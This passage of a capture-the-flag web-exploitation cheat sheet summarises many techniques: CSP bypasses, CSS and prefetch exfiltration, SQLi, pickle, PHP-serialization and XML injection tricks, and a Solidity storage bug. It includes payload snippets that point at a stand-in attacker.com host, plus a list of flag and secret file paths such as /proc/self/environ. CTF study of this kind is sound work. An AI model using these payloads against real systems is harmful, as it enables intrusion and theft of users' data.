inline text via CSS injection (no JS). Custom font assigns unique glyph widths per character. Container queries match width ranges to fire background-image requests -- one request per character. Works under strict CSP. See [client-side-advanced.md](client-side-advanced.md#css-font-glyph-width-container-query-exfiltration-unbreakable-2026). ## Hyperscript / Alpine.js CDN CSP Bypass (UNbreakable 2026) **Pattern:** CSP allows `cdnjs.cloudflare.com`. Load Hyperscript (`_=` attributes) or Alpine.js (`x-data`, `x-init`) from CDN -- they execute code from HTML attributes that sanitizers don't strip. See [client-side-advanced.md](client-side-advanced.md#hyperscript-cdn-csp-bypass-unbreakable-2026). ## Solidity Transient Storage Clearing Collision (0.8.28-0.8.33) **Pattern:** Solidity IR pipeline (`--via-ir`) generates identically-named Yul helpers for `delete` on persistent and transient variables of the same type. One uses `sstore`, the other should use `tstore`, but deduplication picks only one. Exploits: overwrite `owner` (slot 0) via transient `delete`, or make persistent `delete` (revoke approvals) ineffective. Workaround: use `_lock = address(0)` instead of `delete _lock`. See [web3.md](web3.md#solidity-transient-storage-clearing-helper-collision-solidity-0828-0833). ## Chrome Unicode URL Normalization Bypass (RCTF 2017) Chrome's IDNA/punycode normalization converts fullwidth Unicode characters (U+FF00-U+FF5E) to ASCII equivalents, bypassing length checks and character filters on domain names. See [client-side-advanced.md](client-side-advanced.md#chrome-unicode-url-normalization-bypass-rctf-2017). ## CSP Nonce Bypass via base Tag Hijacking (BSidesSF 2026) **Pattern:** CSP uses `script-src 'nonce-xxx'` but missing `base-uri` directive. Inject `<base href="https://attacker.com/">` before a nonced `<script src="relative.js">` -- script loads from attacker server but satisfies CSP via the valid nonce. Defense: always include `base-uri 'self'`. See [client-side-advanced.md](client-side-advanced.md#csp-nonce-bypass-via-base-tag-hijacking-bsidessf-2026). ## JA4/JA4H TLS Fingerprint Matching (BSidesSF 2026) **Pattern:** Server validates browser identity via JA4 (TLS ClientHello fingerprint) and JA4H (HTTP header ordering fingerprint) in addition to User-Agent. Spoofing UA alone fails; must match the target browser's TLS cipher suite order and HTTP header sequence. For legacy browsers, run the actual browser. See [auth-and-access.md](auth-and-access.md#ja4ja4h-tls-and-http-fingerprint-matching-bsidessf-2026). ## Client-Side HMAC Bypass via Leaked JS Secret (Codegate 2013) Deobfuscate client-side JS to extract hardcoded HMAC secret, then forge signatures for arbitrary requests via browser console. See [client-side-advanced.md](client-side-advanced.md#client-side-hmac-bypass-via-leaked-js-secret-codegate-2013). ## SQLi Keyword Fragmentation Bypass (SecuInside 2013) Single-pass `preg_replace()` keyword filters bypassed by nesting the stripped keyword inside the payload: `unload_fileon` → `union` after `load_file` removal. See [server-side-exec-2.md](server-side-exec-2.md#sqli-keyword-fragmentation-bypass-secuinside-2013). ## Pickle Chaining via STOP Opcode Stripping (VolgaCTF 2013) Strip pickle STOP opcode (`\x2e`) from first payload, concatenate second — both `__reduce__` calls execute in single `pickle.loads()`. Chain `os.dup2()` for socket output. See [server-side-deser.md](server-side-deser.md#pickle-chaining-via-stop-opcode-stripping-volgactf-2013). ## XPath Blind Injection (BaltCTF 2013) `substring(normalize-space(../../../node()),1,1)='a'` — boolean-based blind extraction from XML data stores via response length oracle. See [server-side-exec.md](server-side-exec.md#xpath-blind-injection-baltctf-2013). ## SQLite File Path Traversal to Bypass String Equality (Codegate 2013) Input `/../gamesim_GM` fails `== "GM"` string check but filesystem normalizes `/var/game_db/gamesim_/../gamesim_GM.db` to the blocked path. See [server-side-advanced-2.md](server-side-advanced-2.md#sqlite-file-path-traversal-to-bypass-string-equality-codegate-2013). ## PHP Serialization Length Manipulation via Filter Word Expansion (0CTF 2016) Post-serialization string filter replaces "where" (5 chars) with "hacker" (6 chars). Repeat "where" N times so expansion overflows by exactly enough bytes to inject a serialized field (`";}s:5:"photo";s:10:"config.php";}`). See [server-side-deser.md](server-side-deser.md#php-serialization-length-manipulation-via-filter-word-expansion-0ctf-2016). ## CSP Bypass via link prefetch (Boston Key Party 2016) `<link rel="prefetch" href="http://attacker.com/steal">` not blocked by CSP `script-src`. Also: `<meta http-equiv="refresh">`. Scriptless data exfiltration. See [client-side-advanced.md](client-side-advanced.md#csp-bypass-via-link-prefetch-boston-key-party-2016). ## XML Injection via X-Forwarded-For Header (Pwn2Win 2016) Server builds XML from headers without escaping. Inject `</ip><admin>true</admin><ip>` via X-Forwarded-For; first-tag-wins XML parsing. See [server-side.md](server-side.md#xml-injection-via-x-forwarded-for-header-pwn2win-2016). ## Base64 Decode Leniency and Parameter Override for Signature Bypass (BCTF 2016) `b64decode()` silently ignores non-base64 chars. Append `&price=0` after signature -- b64decode strips it, but parameter parser processes it (last value wins). See [auth-infra.md](auth-infra.md#base64-decode-leniency-and-parameter-override-for-signature-bypass-bctf-2016). ## Common Flag Locations Files: `/flag.txt`, `/flag`, `/app/flag.txt`, `/home/*/flag*`. Env: `/proc/self/environ`. DB: `flag`, `flags`, `secret` tables. Headers: `x-flag`, `x-archive-tag`, `x-proof`. DOM: `display:none` elements, `data-*` attributes.


Security scan verdicts — ClawScan: suspicious | static analysis: suspicious | VirusTotal: suspicious | SkillSpector:  ()